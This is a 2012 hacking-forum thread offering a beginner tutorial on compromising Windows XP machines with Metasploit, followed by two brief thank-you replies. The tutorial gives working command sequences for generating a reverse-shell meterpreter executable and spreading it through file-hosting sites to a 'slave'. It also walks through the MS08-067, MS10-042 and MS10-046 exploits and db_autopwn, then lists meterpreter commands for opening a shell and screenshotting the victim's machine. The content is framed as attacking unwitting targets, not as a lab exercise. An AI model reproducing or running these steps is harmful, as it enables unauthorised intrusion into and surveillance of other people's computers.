+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Pwning the XP Machine (/Thread-Pwning-the-XP-Machine)
Pwning the XP Machine - HeR97 - 02-11-2012
Hacking the XP Machine
BEGGINER TUTORIAL
To do that we're going to use exploits
An exploit (from the verb to exploit, in the meaning of using something to one’s own advantage) is a piece of software, a chunk of data, or sequence of commands that takes advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerised).
To execute exploits against the target machine we'll use Metasploit
Metasploit is a tool for developing and executing exploit code against a remote target machine.
Let's start
1. exploit/multi/handler
I think that is the most popular one exploit
It can be used against every machine not only XP
Here's the usage tutorial
Open terminal and type
Code:
msfpayload windows/meterpreter/reverse_tcp LHOST=your IP LPORT=4444 X > name.exe
That command is "creating a payload" windows/meterpreter/reverse_tcp with name name.exe.
(It can be made with other extensions)
Then type
Code:
msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp LHOST=your IP LPORT=4444 E
Exploit is exploit/multi/handler
Then upload file you created at file hosting like speedyshare.com or 4shared.com
When slave downloads and executes it you'll get meterpreter session opened
2. exploit/windows/smb/ms08_067_netapi
Navigate to Metasploit by typing in terminal next
Code:
cd /root/
cd /opt/framework/msf3
And open it by
Code:
./msfconsole
OR
Type
Code:
msfconsole
in terminal
After it's opened type
Code:
use exploit/windows/smb/ms08_067_netapi
Next thing is to select payload
Payload in computing (sometimes referred to as the actual or body data) is the cargo of a data transmission. It is the part of the transmitted data which is the fundamental purpose of the transmission, to the exclusion of information sent with it (such as headers or metadata, sometimes referred to as overhead data) solely to facilitate delivery. "Wikipedia"
There are many payloads such as windows/meterpreter/reverse_tcp , windows/shell/reverse_tcp , windows/vncinject/reverse_tcp etc.
We'll use meterpreter
Code:
set PAYLOAD windows/meterpreter/reverse_tcp
Now we need to set Remote Host (target machine)
Code:
set RHOST target IP
After that we need to select Local Host (our machine)
Code:
set LHOST our IP
and our port
Code:
set LPORT 4444
Next thing is to execute our exploit by typing
Code:
exploit
Meterpreter session will open
3. exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec
Let's begin with this
Open msfconsole and type
Code:
use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec
After we need to set payload
Code:
set PAYLOAD windows/meterpreter/reverse_tcp
Now we need to set our Local Host and Local Port
Code:
set LHOST our IP
set LPORT our port
Now we need to execute our exploit by typing
Code:
exploit
After that we need to give our Local IP to target
To find ip type
Code:
ifconfig
OR
See it below the exploit command
When slave opens our link (IE 7) the meterpreter session will open.
4. exploit/windows/browser/ms10_046_shortcut_icon_dllloader
Open msfconsole
Type
Code:
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
Now select payload
Code:
set PAYLOAD windows/meterpreter/reverse_tcp
After set LHOST
Code:
set LHOST your IP
set SRVPORT 80
And
Code:
set URIPATH /
To execute it type
Code:
exploit
It will show
[*] Send vulnerable clients to \\yourIP\zAzPMc\.
[*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://yourIP/
[*] Server started.
When slave opens our Local IP we'll get meterpreter session
There are so much exploits but this is enough
If you want to hack the machine easily read above
5. db_autopwn
Set driver
Code:
db_driver postgresql
(or other avaible like sqlite3 , mysql etc.)
Connect to database
Code:
db_connect username:password@127.0.0.1/databasename
And next thing to do is to scann our target
Code:
db_nmap target IP -sS -O
After it's scanned it is added to host list
To perform db_autopwn type
Code:
db_autopwn -p -e -t
And wait until it's over
After that type
Code:
sessions -i
And you'll se open sessions
Type
Code:
sessions -i numberofsession
And you'll be in meterpreter
Here I will put some meterpreter commands
shell
Navigates to shell of victims machine
screenshot
Takes screenshot of victims machine
To find more type "?" in meterpreter
If you liked tutorial add me some reputation.
If you want to ask something more ask me on my Facebook Profile
https://www.facebook.com/FR0z3NC0D3
RE: Pwning the XP Machine - Pr0gr3ss - 02-16-2012
Thank you great tutorial
RE: Pwning the XP Machine - 4don4i - 02-16-2012
veru good little tut..thanks for the share.